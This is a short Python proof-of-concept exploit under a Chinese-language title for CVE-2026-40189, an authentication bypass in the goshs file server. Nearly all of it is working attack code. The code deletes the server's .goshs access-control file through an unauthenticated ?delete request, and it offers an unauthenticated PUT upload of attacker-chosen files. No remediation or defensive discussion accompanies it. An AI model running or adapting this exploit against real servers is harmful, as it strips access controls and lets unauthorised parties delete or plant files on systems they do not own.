CVE-2026-40189 goshs认证绕过漏洞

import requests # Target URL of the goshs server # Example: http://192.168.1.100:8000/ target = "http://<target_ip>:<port>/" # Vulnerability: Authentication bypass via state-changing routes # The endpoint allows deleting files using the ?delete parameter without auth # Deleting the .goshs file removes the access control list def exploit_delete_goshs_file(): delete_url = f"{target}?delete=.goshs" try: response = requests.get(delete_url) if response.status_code == 200: print("[+] Successfully deleted .goshs file. Authorization policy removed.") else: print(f"[-] Failed to delete file. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Alternatively, upload a file using PUT without authentication def exploit_upload_file(filename, content): upload_url = f"{target}{filename}" try: response = requests.put(upload_url, data=content) if response.status_code in [200, 201]: print(f"[+] Successfully uploaded {filename}") else: print(f"[-] Failed to upload. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": print("[!] CVE-2026-40189 PoC Exploit") exploit_delete_goshs_file() # exploit_upload_file("malicious.txt", "pwned")